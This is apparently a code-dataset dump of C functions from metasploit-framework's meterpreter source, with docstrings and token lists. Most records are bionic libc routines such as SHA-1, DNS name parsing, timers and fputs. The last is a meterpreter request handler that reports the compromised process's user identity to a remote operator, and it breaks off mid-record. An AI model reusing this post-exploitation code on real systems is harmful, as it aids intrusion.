hexsha
stringlengths
40
40
repo
stringlengths
5
105
path
stringlengths
3
173
license
sequence
language
stringclasses
1 value
identifier
stringlengths
1
438
return_type
stringlengths
1
106
original_string
stringlengths
21
40.7k
original_docstring
stringlengths
18
13.4k
docstring
stringlengths
11
3.24k
docstring_tokens
sequence
code
stringlengths
14
20.4k
code_tokens
sequence
short_docstring
stringlengths
0
4.36k
short_docstring_tokens
sequence
comment
sequence
parameters
list
docstring_params
dict
39c9dda33cd72c8652b772afbe15bbcf94c6dad0
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/netbsd/resolv/res_comp.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
dn_skipname
int
int dn_skipname(const u_char *ptr, const u_char *eom) { const u_char *saveptr = ptr; if (ns_name_skip(&ptr, eom) == -1) return (-1); return (ptr - saveptr); }
/* * Skip over a compressed domain name. Return the size or -1. */
Skip over a compressed domain name. Return the size or -1.
[ "Skip", "over", "a", "compressed", "domain", "name", ".", "Return", "the", "size", "or", "-", "1", "." ]
int dn_skipname(const u_char *ptr, const u_char *eom) { const u_char *saveptr = ptr; if (ns_name_skip(&ptr, eom) == -1) return (-1); return (ptr - saveptr); }
[ "int", "dn_skipname", "(", "const", "u_char", "*", "ptr", ",", "const", "u_char", "*", "eom", ")", "{", "const", "u_char", "*", "saveptr", "=", "ptr", ";", "if", "(", "ns_name_skip", "(", "&", "ptr", ",", "eom", ")", "==", "-1", ")", "return", "(", "-1", ")", ";", "return", "(", "ptr", "-", "saveptr", ")", ";", "}" ]
Skip over a compressed domain name.
[ "Skip", "over", "a", "compressed", "domain", "name", "." ]
[]
[ { "param": "ptr", "type": "u_char" }, { "param": "eom", "type": "u_char" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "ptr", "type": "u_char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "eom", "type": "u_char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1c7aaf31ab99ff9c7ae6a86574a18a3ff95d3e67
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/stdlib/sha1hash.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
SHA1Update
void
void SHA1Update(SHA1_CTX* context, unsigned char* data, uint32_t len) /* JHB */ { uint32_t i, j; /* JHB */ #ifdef VERBOSE SHAPrintContext(context, "before"); #endif j = (context->count[0] >> 3) & 63; if ((context->count[0] += len << 3) < (len << 3)) context->count[1]++; context->count[1] += (len >> 29); if ((j + len) > 63) { memcpy(&context->buffer[j], data, (i = 64-j)); SHA1Transform(context->state, context->buffer); for ( ; i + 63 < len; i += 64) { SHA1Transform(context->state, &data[i]); } j = 0; } else i = 0; memcpy(&context->buffer[j], &data[i], len - i); #ifdef VERBOSE SHAPrintContext(context, "after "); #endif }
/* Run your data through this. */
Run your data through this.
[ "Run", "your", "data", "through", "this", "." ]
void SHA1Update(SHA1_CTX* context, unsigned char* data, uint32_t len) { uint32_t i, j; #ifdef VERBOSE SHAPrintContext(context, "before"); #endif j = (context->count[0] >> 3) & 63; if ((context->count[0] += len << 3) < (len << 3)) context->count[1]++; context->count[1] += (len >> 29); if ((j + len) > 63) { memcpy(&context->buffer[j], data, (i = 64-j)); SHA1Transform(context->state, context->buffer); for ( ; i + 63 < len; i += 64) { SHA1Transform(context->state, &data[i]); } j = 0; } else i = 0; memcpy(&context->buffer[j], &data[i], len - i); #ifdef VERBOSE SHAPrintContext(context, "after "); #endif }
[ "void", "SHA1Update", "(", "SHA1_CTX", "*", "context", ",", "unsigned", "char", "*", "data", ",", "uint32_t", "len", ")", "{", "uint32_t", "i", ",", "j", ";", "#ifdef", "VERBOSE", "SHAPrintContext", "(", "context", ",", "\"", "\"", ")", ";", "#endif", "j", "=", "(", "context", "->", "count", "[", "0", "]", ">>", "3", ")", "&", "63", ";", "if", "(", "(", "context", "->", "count", "[", "0", "]", "+=", "len", "<<", "3", ")", "<", "(", "len", "<<", "3", ")", ")", "context", "->", "count", "[", "1", "]", "++", ";", "context", "->", "count", "[", "1", "]", "+=", "(", "len", ">>", "29", ")", ";", "if", "(", "(", "j", "+", "len", ")", ">", "63", ")", "{", "memcpy", "(", "&", "context", "->", "buffer", "[", "j", "]", ",", "data", ",", "(", "i", "=", "64", "-", "j", ")", ")", ";", "SHA1Transform", "(", "context", "->", "state", ",", "context", "->", "buffer", ")", ";", "for", "(", ";", "i", "+", "63", "<", "len", ";", "i", "+=", "64", ")", "{", "SHA1Transform", "(", "context", "->", "state", ",", "&", "data", "[", "i", "]", ")", ";", "}", "j", "=", "0", ";", "}", "else", "i", "=", "0", ";", "memcpy", "(", "&", "context", "->", "buffer", "[", "j", "]", ",", "&", "data", "[", "i", "]", ",", "len", "-", "i", ")", ";", "#ifdef", "VERBOSE", "SHAPrintContext", "(", "context", ",", "\"", "\"", ")", ";", "#endif", "}" ]
Run your data through this.
[ "Run", "your", "data", "through", "this", "." ]
[ "/*\nJHB */", "/* JHB */" ]
[ { "param": "context", "type": "SHA1_CTX" }, { "param": "data", "type": "unsigned char" }, { "param": "len", "type": "uint32_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "context", "type": "SHA1_CTX", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "data", "type": "unsigned char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "len", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1c7aaf31ab99ff9c7ae6a86574a18a3ff95d3e67
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/stdlib/sha1hash.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
SHA1Final
void
void SHA1Final(unsigned char digest[20], SHA1_CTX* context) { uint32_t i; /* JHB */ unsigned char finalcount[8]; for (i = 0; i < 8; i++) { finalcount[i] = (unsigned char)((context->count[(i >= 4 ? 0 : 1)] >> ((3-(i & 3)) * 8) ) & 255); /* Endian independent */ } SHA1Update(context, (unsigned char *)"\200", 1); while ((context->count[0] & 504) != 448) { SHA1Update(context, (unsigned char *)"\0", 1); } SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform() */ for (i = 0; i < 20; i++) { digest[i] = (unsigned char) ((context->state[i>>2] >> ((3-(i & 3)) * 8) ) & 255); } /* Wipe variables */ i = 0; /* JHB */ memset(context->buffer, 0, 64); memset(context->state, 0, 20); memset(context->count, 0, 8); memset(finalcount, 0, 8); /* SWR */ #ifdef SHA1HANDSOFF /* make SHA1Transform overwrite it's own static vars */ SHA1Transform(context->state, context->buffer); #endif }
/* Add padding and return the message digest. */
Add padding and return the message digest.
[ "Add", "padding", "and", "return", "the", "message", "digest", "." ]
void SHA1Final(unsigned char digest[20], SHA1_CTX* context) { uint32_t i; unsigned char finalcount[8]; for (i = 0; i < 8; i++) { finalcount[i] = (unsigned char)((context->count[(i >= 4 ? 0 : 1)] >> ((3-(i & 3)) * 8) ) & 255); } SHA1Update(context, (unsigned char *)"\200", 1); while ((context->count[0] & 504) != 448) { SHA1Update(context, (unsigned char *)"\0", 1); } SHA1Update(context, finalcount, 8); for (i = 0; i < 20; i++) { digest[i] = (unsigned char) ((context->state[i>>2] >> ((3-(i & 3)) * 8) ) & 255); } i = 0; memset(context->buffer, 0, 64); memset(context->state, 0, 20); memset(context->count, 0, 8); memset(finalcount, 0, 8); #ifdef SHA1HANDSOFF SHA1Transform(context->state, context->buffer); #endif }
[ "void", "SHA1Final", "(", "unsigned", "char", "digest", "[", "20", "]", ",", "SHA1_CTX", "*", "context", ")", "{", "uint32_t", "i", ";", "unsigned", "char", "finalcount", "[", "8", "]", ";", "for", "(", "i", "=", "0", ";", "i", "<", "8", ";", "i", "++", ")", "{", "finalcount", "[", "i", "]", "=", "(", "unsigned", "char", ")", "(", "(", "context", "->", "count", "[", "(", "i", ">=", "4", "?", "0", ":", "1", ")", "]", ">>", "(", "(", "3", "-", "(", "i", "&", "3", ")", ")", "*", "8", ")", ")", "&", "255", ")", ";", "}", "SHA1Update", "(", "context", ",", "(", "unsigned", "char", "*", ")", "\"", "\\200", "\"", ",", "1", ")", ";", "while", "(", "(", "context", "->", "count", "[", "0", "]", "&", "504", ")", "!=", "448", ")", "{", "SHA1Update", "(", "context", ",", "(", "unsigned", "char", "*", ")", "\"", "\\0", "\"", ",", "1", ")", ";", "}", "SHA1Update", "(", "context", ",", "finalcount", ",", "8", ")", ";", "for", "(", "i", "=", "0", ";", "i", "<", "20", ";", "i", "++", ")", "{", "digest", "[", "i", "]", "=", "(", "unsigned", "char", ")", "(", "(", "context", "->", "state", "[", "i", ">>", "2", "]", ">>", "(", "(", "3", "-", "(", "i", "&", "3", ")", ")", "*", "8", ")", ")", "&", "255", ")", ";", "}", "i", "=", "0", ";", "memset", "(", "context", "->", "buffer", ",", "0", ",", "64", ")", ";", "memset", "(", "context", "->", "state", ",", "0", ",", "20", ")", ";", "memset", "(", "context", "->", "count", ",", "0", ",", "8", ")", ";", "memset", "(", "finalcount", ",", "0", ",", "8", ")", ";", "#ifdef", "SHA1HANDSOFF", "SHA1Transform", "(", "context", "->", "state", ",", "context", "->", "buffer", ")", ";", "#endif", "}" ]
Add padding and return the message digest.
[ "Add", "padding", "and", "return", "the", "message", "digest", "." ]
[ "/* JHB */", "/* Endian independent */", "/* Should cause a SHA1Transform() */", "/* Wipe variables */", "/* JHB */", "/* SWR */", "/* make SHA1Transform overwrite it's own static vars */" ]
[ { "param": "digest", "type": "unsigned char" }, { "param": "context", "type": "SHA1_CTX" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "digest", "type": "unsigned char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "context", "type": "SHA1_CTX", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1c7aaf31ab99ff9c7ae6a86574a18a3ff95d3e67
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/stdlib/sha1hash.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
mybase64
char
char *mybase64(uint8_t digest[20]) { static const char charz[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; uint8_t input[21]; static char output[28]; int i, j; uint8_t *p; char *q; uint32_t bv; memcpy(input, digest, 20); input[20] = 0; /* Pad to multiple of 3 bytes */ p = input; q = output; for ( i = 0 ; i < 7 ; i++ ) { bv = (p[0] << 16) | (p[1] << 8) | p[2]; p += 3; for ( j = 0 ; j < 4 ; j++ ) { *q++ = charz[(bv >> 18) & 0x3f]; bv <<= 6; } } *--q = '\0'; /* The last character is not significant */ return output; }
/* This is not quite the MIME base64 algorithm: it uses _ instead of /, and instead of padding the output with = characters we just make the output shorter. */
This is not quite the MIME base64 algorithm: it uses _ instead of /, and instead of padding the output with = characters we just make the output shorter.
[ "This", "is", "not", "quite", "the", "MIME", "base64", "algorithm", ":", "it", "uses", "_", "instead", "of", "/", "and", "instead", "of", "padding", "the", "output", "with", "=", "characters", "we", "just", "make", "the", "output", "shorter", "." ]
char *mybase64(uint8_t digest[20]) { static const char charz[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; uint8_t input[21]; static char output[28]; int i, j; uint8_t *p; char *q; uint32_t bv; memcpy(input, digest, 20); input[20] = 0; p = input; q = output; for ( i = 0 ; i < 7 ; i++ ) { bv = (p[0] << 16) | (p[1] << 8) | p[2]; p += 3; for ( j = 0 ; j < 4 ; j++ ) { *q++ = charz[(bv >> 18) & 0x3f]; bv <<= 6; } } *--q = '\0'; return output; }
[ "char", "*", "mybase64", "(", "uint8_t", "digest", "[", "20", "]", ")", "{", "static", "const", "char", "charz", "[", "]", "=", "\"", "\"", ";", "uint8_t", "input", "[", "21", "]", ";", "static", "char", "output", "[", "28", "]", ";", "int", "i", ",", "j", ";", "uint8_t", "*", "p", ";", "char", "*", "q", ";", "uint32_t", "bv", ";", "memcpy", "(", "input", ",", "digest", ",", "20", ")", ";", "input", "[", "20", "]", "=", "0", ";", "p", "=", "input", ";", "q", "=", "output", ";", "for", "(", "i", "=", "0", ";", "i", "<", "7", ";", "i", "++", ")", "{", "bv", "=", "(", "p", "[", "0", "]", "<<", "16", ")", "|", "(", "p", "[", "1", "]", "<<", "8", ")", "|", "p", "[", "2", "]", ";", "p", "+=", "3", ";", "for", "(", "j", "=", "0", ";", "j", "<", "4", ";", "j", "++", ")", "{", "*", "q", "++", "=", "charz", "[", "(", "bv", ">>", "18", ")", "&", "0x3f", "]", ";", "bv", "<<=", "6", ";", "}", "}", "*", "--", "q", "=", "'", "\\0", "'", ";", "return", "output", ";", "}" ]
This is not quite the MIME base64 algorithm: it uses _ instead of /, and instead of padding the output with = characters we just make the output shorter.
[ "This", "is", "not", "quite", "the", "MIME", "base64", "algorithm", ":", "it", "uses", "_", "instead", "of", "/", "and", "instead", "of", "padding", "the", "output", "with", "=", "characters", "we", "just", "make", "the", "output", "shorter", "." ]
[ "/* Pad to multiple of 3 bytes */", "/* The last character is not significant */" ]
[ { "param": "digest", "type": "uint8_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "digest", "type": "uint8_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
7b9c99e1c6d06bd210a595912fbe13e986549005
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/bionic/pthread-timers.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
thr_timer_table_from_id
thr_timer_t
static thr_timer_t* thr_timer_table_from_id( thr_timer_table_t* t, timer_t id, int remove ) { unsigned index; thr_timer_t* timer; if (t == NULL || !TIMER_ID_IS_WRAPPED(id)) return NULL; index = (unsigned) TIMER_ID_UNWRAP(id); if (index >= MAX_THREAD_TIMERS) return NULL; pthread_mutex_lock(&t->lock); timer = &t->timers[index]; if (!TIMER_ID_IS_VALID(timer->id)) { timer = NULL; } else { /* if we're removing this timer, clear the id * right now to prevent another thread to * use the same id after the unlock */ if (remove) timer->id = TIMER_ID_NONE; } pthread_mutex_unlock(&t->lock); return timer; }
/* convert a timer_id into the corresponding thr_timer_t* pointer * returns NULL if the id is not wrapped or is invalid/free */
convert a timer_id into the corresponding thr_timer_t* pointer returns NULL if the id is not wrapped or is invalid/free
[ "convert", "a", "timer_id", "into", "the", "corresponding", "thr_timer_t", "*", "pointer", "returns", "NULL", "if", "the", "id", "is", "not", "wrapped", "or", "is", "invalid", "/", "free" ]
static thr_timer_t* thr_timer_table_from_id( thr_timer_table_t* t, timer_t id, int remove ) { unsigned index; thr_timer_t* timer; if (t == NULL || !TIMER_ID_IS_WRAPPED(id)) return NULL; index = (unsigned) TIMER_ID_UNWRAP(id); if (index >= MAX_THREAD_TIMERS) return NULL; pthread_mutex_lock(&t->lock); timer = &t->timers[index]; if (!TIMER_ID_IS_VALID(timer->id)) { timer = NULL; } else { if (remove) timer->id = TIMER_ID_NONE; } pthread_mutex_unlock(&t->lock); return timer; }
[ "static", "thr_timer_t", "*", "thr_timer_table_from_id", "(", "thr_timer_table_t", "*", "t", ",", "timer_t", "id", ",", "int", "remove", ")", "{", "unsigned", "index", ";", "thr_timer_t", "*", "timer", ";", "if", "(", "t", "==", "NULL", "||", "!", "TIMER_ID_IS_WRAPPED", "(", "id", ")", ")", "return", "NULL", ";", "index", "=", "(", "unsigned", ")", "TIMER_ID_UNWRAP", "(", "id", ")", ";", "if", "(", "index", ">=", "MAX_THREAD_TIMERS", ")", "return", "NULL", ";", "pthread_mutex_lock", "(", "&", "t", "->", "lock", ")", ";", "timer", "=", "&", "t", "->", "timers", "[", "index", "]", ";", "if", "(", "!", "TIMER_ID_IS_VALID", "(", "timer", "->", "id", ")", ")", "{", "timer", "=", "NULL", ";", "}", "else", "{", "if", "(", "remove", ")", "timer", "->", "id", "=", "TIMER_ID_NONE", ";", "}", "pthread_mutex_unlock", "(", "&", "t", "->", "lock", ")", ";", "return", "timer", ";", "}" ]
convert a timer_id into the corresponding thr_timer_t* pointer returns NULL if the id is not wrapped or is invalid/free
[ "convert", "a", "timer_id", "into", "the", "corresponding", "thr_timer_t", "*", "pointer", "returns", "NULL", "if", "the", "id", "is", "not", "wrapped", "or", "is", "invalid", "/", "free" ]
[ "/* if we're removing this timer, clear the id\n * right now to prevent another thread to\n * use the same id after the unlock */" ]
[ { "param": "t", "type": "thr_timer_table_t" }, { "param": "id", "type": "timer_t" }, { "param": "remove", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "t", "type": "thr_timer_table_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "id", "type": "timer_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "remove", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
7b9c99e1c6d06bd210a595912fbe13e986549005
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/bionic/pthread-timers.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
__timer_table_start_stop
void
void __timer_table_start_stop( int stop ) { if (__timer_table != NULL) { thr_timer_table_t* table = __timer_table_get(); thr_timer_table_start_stop(table, stop); } }
/** POSIX THREAD TIMERS CLEANUP ON FORK ** ** this should be called from the 'fork()' wrapper to stop/start ** all active thread timers. this is used to implement a Posix ** requirements: the timers of fork child processes must be ** disarmed but not deleted. **/
POSIX THREAD TIMERS CLEANUP ON FORK this should be called from the 'fork()' wrapper to stop/start all active thread timers. this is used to implement a Posix requirements: the timers of fork child processes must be disarmed but not deleted.
[ "POSIX", "THREAD", "TIMERS", "CLEANUP", "ON", "FORK", "this", "should", "be", "called", "from", "the", "'", "fork", "()", "'", "wrapper", "to", "stop", "/", "start", "all", "active", "thread", "timers", ".", "this", "is", "used", "to", "implement", "a", "Posix", "requirements", ":", "the", "timers", "of", "fork", "child", "processes", "must", "be", "disarmed", "but", "not", "deleted", "." ]
void __timer_table_start_stop( int stop ) { if (__timer_table != NULL) { thr_timer_table_t* table = __timer_table_get(); thr_timer_table_start_stop(table, stop); } }
[ "void", "__timer_table_start_stop", "(", "int", "stop", ")", "{", "if", "(", "__timer_table", "!=", "NULL", ")", "{", "thr_timer_table_t", "*", "table", "=", "__timer_table_get", "(", ")", ";", "thr_timer_table_start_stop", "(", "table", ",", "stop", ")", ";", "}", "}" ]
POSIX THREAD TIMERS CLEANUP ON FORK this should be called from the 'fork()' wrapper to stop/start all active thread timers.
[ "POSIX", "THREAD", "TIMERS", "CLEANUP", "ON", "FORK", "this", "should", "be", "called", "from", "the", "'", "fork", "()", "'", "wrapper", "to", "stop", "/", "start", "all", "active", "thread", "timers", "." ]
[]
[ { "param": "stop", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "stop", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
7b9c99e1c6d06bd210a595912fbe13e986549005
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/bionic/pthread-timers.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
timer_gettime_internal
void
static void timer_gettime_internal( thr_timer_t* timer, struct itimerspec* spec) { struct timespec diff; diff = timer->expires; if (!timespec_is_zero(&diff)) { struct timespec now; clock_gettime( timer->clock, &now ); timespec_sub(&diff, &now); /* in case of overrun, return 0 */ if (timespec_cmp0(&diff) < 0) { timespec_zero(&diff); } } spec->it_value = diff; spec->it_interval = timer->period; }
/* return the relative time until the next expiration, or 0 if * the timer is disarmed */
return the relative time until the next expiration, or 0 if the timer is disarmed
[ "return", "the", "relative", "time", "until", "the", "next", "expiration", "or", "0", "if", "the", "timer", "is", "disarmed" ]
static void timer_gettime_internal( thr_timer_t* timer, struct itimerspec* spec) { struct timespec diff; diff = timer->expires; if (!timespec_is_zero(&diff)) { struct timespec now; clock_gettime( timer->clock, &now ); timespec_sub(&diff, &now); if (timespec_cmp0(&diff) < 0) { timespec_zero(&diff); } } spec->it_value = diff; spec->it_interval = timer->period; }
[ "static", "void", "timer_gettime_internal", "(", "thr_timer_t", "*", "timer", ",", "struct", "itimerspec", "*", "spec", ")", "{", "struct", "timespec", "diff", ";", "diff", "=", "timer", "->", "expires", ";", "if", "(", "!", "timespec_is_zero", "(", "&", "diff", ")", ")", "{", "struct", "timespec", "now", ";", "clock_gettime", "(", "timer", "->", "clock", ",", "&", "now", ")", ";", "timespec_sub", "(", "&", "diff", ",", "&", "now", ")", ";", "if", "(", "timespec_cmp0", "(", "&", "diff", ")", "<", "0", ")", "{", "timespec_zero", "(", "&", "diff", ")", ";", "}", "}", "spec", "->", "it_value", "=", "diff", ";", "spec", "->", "it_interval", "=", "timer", "->", "period", ";", "}" ]
return the relative time until the next expiration, or 0 if the timer is disarmed
[ "return", "the", "relative", "time", "until", "the", "next", "expiration", "or", "0", "if", "the", "timer", "is", "disarmed" ]
[ "/* in case of overrun, return 0 */" ]
[ { "param": "timer", "type": "thr_timer_t" }, { "param": "spec", "type": "struct itimerspec" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "timer", "type": "thr_timer_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "spec", "type": "struct itimerspec", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
3f26f2b458dade389c61a5d2ba5540448addebe2
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/arch-arm/bionic/eabi.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
__aeabi_atexit
int
int __attribute__((weak)) __aeabi_atexit (void *object, void (*destructor) (void *), void *dso_handle) { return __cxa_atexit(destructor, object, dso_handle); }
/* Make this a weak symbol to avoid a multiple definition error when linking * with libstdc++-v3. */
Make this a weak symbol to avoid a multiple definition error when linking with libstdc++-v3.
[ "Make", "this", "a", "weak", "symbol", "to", "avoid", "a", "multiple", "definition", "error", "when", "linking", "with", "libstdc", "++", "-", "v3", "." ]
int __attribute__((weak)) __aeabi_atexit (void *object, void (*destructor) (void *), void *dso_handle) { return __cxa_atexit(destructor, object, dso_handle); }
[ "int", "__attribute__", "(", "(", "weak", ")", ")", "__aeabi_atexit", "(", "void", "*", "object", ",", "void", "(", "*", "destructor", ")", "(", "void", "*", ")", ",", "void", "*", "dso_handle", ")", "{", "return", "__cxa_atexit", "(", "destructor", ",", "object", ",", "dso_handle", ")", ";", "}" ]
Make this a weak symbol to avoid a multiple definition error when linking with libstdc++-v3.
[ "Make", "this", "a", "weak", "symbol", "to", "avoid", "a", "multiple", "definition", "error", "when", "linking", "with", "libstdc", "++", "-", "v3", "." ]
[]
[ { "param": "object", "type": "void" }, { "param": "destructor", "type": "void" }, { "param": "dso_handle", "type": "void" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "object", "type": "void", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "destructor", "type": "void", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "dso_handle", "type": "void", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
4e91edb4405c7c9b4647c521988e7c48f00787f5
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/unistd/siginterrupt.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
siginterrupt
int
int siginterrupt(int sig, int flag) { struct sigaction act; (void) sigaction(sig, NULL, &act); if (flag) act.sa_flags &= ~SA_RESTART; else act.sa_flags |= SA_RESTART; return sigaction(sig, &act, NULL); }
/* this is only useful for legacy programs */
this is only useful for legacy programs
[ "this", "is", "only", "useful", "for", "legacy", "programs" ]
int siginterrupt(int sig, int flag) { struct sigaction act; (void) sigaction(sig, NULL, &act); if (flag) act.sa_flags &= ~SA_RESTART; else act.sa_flags |= SA_RESTART; return sigaction(sig, &act, NULL); }
[ "int", "siginterrupt", "(", "int", "sig", ",", "int", "flag", ")", "{", "struct", "sigaction", "act", ";", "(", "void", ")", "sigaction", "(", "sig", ",", "NULL", ",", "&", "act", ")", ";", "if", "(", "flag", ")", "act", ".", "sa_flags", "&=", "~", "SA_RESTART", ";", "else", "act", ".", "sa_flags", "|=", "SA_RESTART", ";", "return", "sigaction", "(", "sig", ",", "&", "act", ",", "NULL", ")", ";", "}" ]
this is only useful for legacy programs
[ "this", "is", "only", "useful", "for", "legacy", "programs" ]
[]
[ { "param": "sig", "type": "int" }, { "param": "flag", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "sig", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "flag", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
7434ca86d6407ccff5aadb800ebf02690339bc82
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/stdio/fputs.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
fputs
int
int fputs(const char *s, FILE *fp) { struct __suio uio; struct __siov iov; iov.iov_base = (void *)s; iov.iov_len = uio.uio_resid = strlen(s); uio.uio_iov = &iov; uio.uio_iovcnt = 1; _SET_ORIENTATION(fp, -1); return (__sfvwrite(fp, &uio)); }
/* * Write the given string to the given file. */
Write the given string to the given file.
[ "Write", "the", "given", "string", "to", "the", "given", "file", "." ]
int fputs(const char *s, FILE *fp) { struct __suio uio; struct __siov iov; iov.iov_base = (void *)s; iov.iov_len = uio.uio_resid = strlen(s); uio.uio_iov = &iov; uio.uio_iovcnt = 1; _SET_ORIENTATION(fp, -1); return (__sfvwrite(fp, &uio)); }
[ "int", "fputs", "(", "const", "char", "*", "s", ",", "FILE", "*", "fp", ")", "{", "struct", "__suio", "uio", ";", "struct", "__siov", "iov", ";", "iov", ".", "iov_base", "=", "(", "void", "*", ")", "s", ";", "iov", ".", "iov_len", "=", "uio", ".", "uio_resid", "=", "strlen", "(", "s", ")", ";", "uio", ".", "uio_iov", "=", "&", "iov", ";", "uio", ".", "uio_iovcnt", "=", "1", ";", "_SET_ORIENTATION", "(", "fp", ",", "-1", ")", ";", "return", "(", "__sfvwrite", "(", "fp", ",", "&", "uio", ")", ")", ";", "}" ]
Write the given string to the given file.
[ "Write", "the", "given", "string", "to", "the", "given", "file", "." ]
[]
[ { "param": "s", "type": "char" }, { "param": "fp", "type": "FILE" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "s", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "fp", "type": "FILE", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
c61fed7469cc9070101e23326b401dc00b935030
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/sys/config/config.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
request_sys_config_getuid
DWORD
DWORD request_sys_config_getuid(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS; #ifdef _WIN32 CHAR username[512], username_only[512], domainname_only[512]; LPVOID TokenUserInfo[4096]; HANDLE token; DWORD user_length = sizeof(username_only), domain_length = sizeof(domainname_only); DWORD size = sizeof(username), sid_type = 0, returned_tokinfo_length; memset(username, 0, sizeof(username)); memset(username_only, 0, sizeof(username_only)); memset(domainname_only, 0, sizeof(domainname_only)); do { if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &token)) OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token); if (!GetTokenInformation(token, TokenUser, TokenUserInfo, 4096, &returned_tokinfo_length)) { res = GetLastError(); break; } if (!LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username_only, &user_length, domainname_only, &domain_length, (PSID_NAME_USE)&sid_type)) { res = GetLastError(); break; } // Make full name in DOMAIN\USERNAME format _snprintf(username, 512, "%s\\%s", domainname_only, username_only); username[511] = '\0'; packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username); } while (0); #else CHAR info[512]; uid_t ru, eu, su; gid_t rg, eg, sg; ru = eu = su = rg = eg = sg = 31337; getresuid(&ru, &eu, &su); getresgid(&rg, &eg, &sg); snprintf(info, sizeof(info)-1, "uid=%d, gid=%d, euid=%d, egid=%d, suid=%d, sgid=%d", ru, rg, eu, eg, su, sg); packet_add_tlv_string(response, TLV_TYPE_USER_NAME, info); #endif // Transmit the response packet_transmit_response(res, remote, response); return res; }
/* * sys_getuid * ---------- * * Gets the user information of the user the server is executing as */
Gets the user information of the user the server is executing as
[ "Gets", "the", "user", "information", "of", "the", "user", "the", "server", "is", "executing", "as" ]
DWORD request_sys_config_getuid(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS; #ifdef _WIN32 CHAR username[512], username_only[512], domainname_only[512]; LPVOID TokenUserInfo[4096]; HANDLE token; DWORD user_length = sizeof(username_only), domain_length = sizeof(domainname_only); DWORD size = sizeof(username), sid_type = 0, returned_tokinfo_length; memset(username, 0, sizeof(username)); memset(username_only, 0, sizeof(username_only)); memset(domainname_only, 0, sizeof(domainname_only)); do { if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &token)) OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token); if (!GetTokenInformation(token, TokenUser, TokenUserInfo, 4096, &returned_tokinfo_length)) { res = GetLastError(); break; } if (!LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username_only, &user_length, domainname_only, &domain_length, (PSID_NAME_USE)&sid_type)) { res = GetLastError(); break; } _snprintf(username, 512, "%s\\%s", domainname_only, username_only); username[511] = '\0'; 